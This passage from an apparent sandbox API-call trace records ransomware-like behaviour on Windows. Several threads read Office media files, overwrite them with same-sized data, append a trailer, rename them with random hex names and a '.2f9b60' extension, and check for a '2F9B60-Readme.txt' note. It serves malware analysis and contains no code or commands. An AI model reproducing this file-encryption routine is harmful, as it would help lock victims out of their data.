_Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d" [0124.829] wcscat (in: _Dest=0x2027a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d.2f9b60" [0124.829] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d.2f9b60", NtPathName=0x386ff7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b90368e2009d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0124.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 [0124.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0124.834] NtQueryInformationFile (in: FileHandle=0x1550, IoStatusBlock=0x386ff858, FileInformation=0x386ff868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x386ff858, FileInformation=0x386ff868) returned 0x0 [0124.835] NtSetInformationFile (FileHandle=0x1550, IoStatusBlock=0x386ff858, FileInformation=0x386ff868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0124.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ea0) returned 1 [0124.836] FlushFileBuffers (hFile=0x1550) returned 1 [0124.845] CloseHandle (hObject=0x1550) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a740 [0124.846] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.846] wcscat (in: _Dest=0x1b86a740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 [0124.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 Thread: id = 1239 os_tid = 0xc84 [0115.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf")) returned 0x20 [0115.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF", dwFileAttributes=0x20) returned 1 [0120.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0120.615] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x1d0ff820 | out: lpFileSize=0x1d0ff820*=7174) returned 1 [0120.615] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x1c02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.615] ReadFile (in: hFile=0xe50, lpBuffer=0x1d0ff7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d0ff7e8, lpOverlapped=0x0 | out: lpBuffer=0x1d0ff7a0*, lpNumberOfBytesRead=0x1d0ff7e8*=0x4, lpOverlapped=0x0) returned 1 [0121.448] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0121.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0121.449] NtQuerySystemTime (in: CurrentTime=0x1d0ff6e0 | out: CurrentTime=0x1d0ff6e0*=132462177268510000) returned 0x0 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0xbcb1206 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x1e954ed1 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x52f63838 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x5db3a9eb [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x30142646 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x12eac62c [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x77881a74 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x185ccc4d [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x5c1f4a3 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x77881a74 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x6b145a06 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x26f687d5 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x678e9e53 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x1bca0d35 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x72e5fd1a [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x1f68ab00 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x5d4da44a [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x35bf871f [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x557295ad [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0xa3e1d4b [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x449d7ebf [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x3de2e844 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x1961bc4d [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x7662a5f [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x6dbbcad [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x65ec7495 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x17631255 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x47a0bc3f [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x7ad10514 [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x4575f95f [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x421d71ab [0121.449] RtlRandomEx (in: Seed=0x1d0ff6d0 | out: Seed=0x1d0ff6d0) returned 0x196337cb [0124.462] ReadFile (in: hFile=0xe50, lpBuffer=0x41b71d40, nNumberOfBytesToRead=0x1c06, lpNumberOfBytesRead=0x1d0ff6d0, lpOverlapped=0x0 | out: lpBuffer=0x41b71d40*, lpNumberOfBytesRead=0x1d0ff6d0*=0x1c06, lpOverlapped=0x0) returned 1 [0124.793] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.793] WriteFile (in: hFile=0xe50, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x1c06, lpNumberOfBytesWritten=0x1d0ff6d4, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x1d0ff6d4*=0x1c06, lpOverlapped=0x0) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0124.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0124.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0124.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0124.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b71d40) returned 1 [0124.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c10) returned 1 [0124.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8070 [0124.806] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.806] WriteFile (in: hFile=0xe50, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d0ff7f0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x1d0ff7f0*=0x10a, lpOverlapped=0x0) returned 1 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c10 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0124.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0124.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0124.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0124.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c10) returned 1 [0124.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0124.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.812] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="59") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="14") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="e8") returned 2 [0124.812] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="63") returned 2 [0124.812] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="74") returned 2 [0124.812] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="be") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="e0") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="7f") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="66") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="fb") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.812] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="9d") returned 2 [0124.812] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="b1") returned 2 [0124.812] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="2c") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="8e") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="3b") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="ab") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="91") returned 2 [0124.812] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="da") returned 2 [0124.812] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="1f") returned 2 [0124.812] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="a4") returned 2 [0124.812] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="ee") returned 2 [0124.813] RtlInitAnsiString (in: DestinationString=0x1d0ff868, SourceString="d859b414e86374bee07f66fbfe9db12c8e3bab91da1fa4ee" | out: DestinationString="d859b414e86374bee07f66fbfe9db12c8e3bab91da1fa4ee") [0124.813] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d0ff838, SourceString="d859b414e86374bee07f66fbfe9db12c8e3bab91da1fa4ee", AllocateDestinationString=1 | out: DestinationString="d859b414e86374bee07f66fbfe9db12c8e3bab91da1fa4ee") returned 0x0 [0124.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0124.813] wcscat (in: _Dest=0x2027b690, _Source="d859b414e863" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863" [0124.813] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863.2f9b60" [0124.813] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863.2f9b60", NtPathName=0x1d0ff810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d859b414e863.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0124.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 [0124.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.822] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x1d0ff878, FileInformation=0x1d0ff888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d0ff878, FileInformation=0x1d0ff888) returned 0x0 [0124.822] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x1d0ff878, FileInformation=0x1d0ff888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0124.833] FlushFileBuffers (hFile=0xe50) returned 1 [0124.843] CloseHandle (hObject=0xe50) returned 1 [0124.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a46e0 [0124.844] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.844] wcscat (in: _Dest=0x202a46e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 [0124.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 Thread: id = 1240 os_tid = 0xca8 [0115.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf")) returned 0x20 [0115.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF", dwFileAttributes=0x20) returned 1 [0115.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0115.402] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x392dfa80 | out: lpFileSize=0x392dfa80*=3932) returned 1 [0115.402] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0xf58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.402] ReadFile (in: hFile=0x14b8, lpBuffer=0x392dfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x392dfa48, lpOverlapped=0x0 | out: lpBuffer=0x392dfa00*, lpNumberOfBytesRead=0x392dfa48*=0x4, lpOverlapped=0x0) returned 1 [0115.476] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0115.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0115.476] NtQuerySystemTime (in: CurrentTime=0x392df940 | out: CurrentTime=0x392df940*=132462177209386000) returned 0x0 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x73fe4707 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x74f23554 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x2f866777 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x28ebb2c2 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x2cb3d8f8 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x54d7ed36 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x4e3c6bdd [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x5d45385a [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x3099e359 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x31621332 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x4efacff3 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x3d83bd3f [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x5720558a [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x46ed2bd3 [0115.476] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x170ada49 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x2810c240 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x4b2b0128 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x7fc06a2e [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x3f013259 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x3f0ba4ec [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0xb0b7224 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x5296feeb [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x152e037b [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x32057cf2 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x7a7c79a7 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x2d63d7fd [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x5102d731 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x44ec4780 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x4152accb [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x5e50041c [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x16489a07 [0115.477] RtlRandomEx (in: Seed=0x392df930 | out: Seed=0x392df930) returned 0x14d5948b [0115.486] ReadFile (in: hFile=0x14b8, lpBuffer=0x20162d00, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x392df930, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesRead=0x392df930*=0xf5c, lpOverlapped=0x0) returned 1 [0115.486] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.486] WriteFile (in: hFile=0x14b8, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0xf5c, lpNumberOfBytesWritten=0x392df934, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x392df934*=0xf5c, lpOverlapped=0x0) returned 1 [0115.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0115.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0115.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0115.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261160 [0115.526] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.526] WriteFile (in: hFile=0x14b8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x392dfa50, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x392dfa50*=0x10a, lpOverlapped=0x0) returned 1 [0115.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0115.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a30) returned 1 [0115.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0115.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0115.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0115.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.585] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="6d") returned 2 [0115.585] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="b6") returned 2 [0115.585] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="07") returned 2 [0115.585] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="a4") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="97") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="b6") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="6c") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="09") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="03") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="39") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="6e") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="a2") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="ff") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="1d") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="f0") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="0a") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="12") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="a7") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="eb") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="fa") returned 2 [0115.586] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="ca") returned 2 [0115.586] sprintf (in: 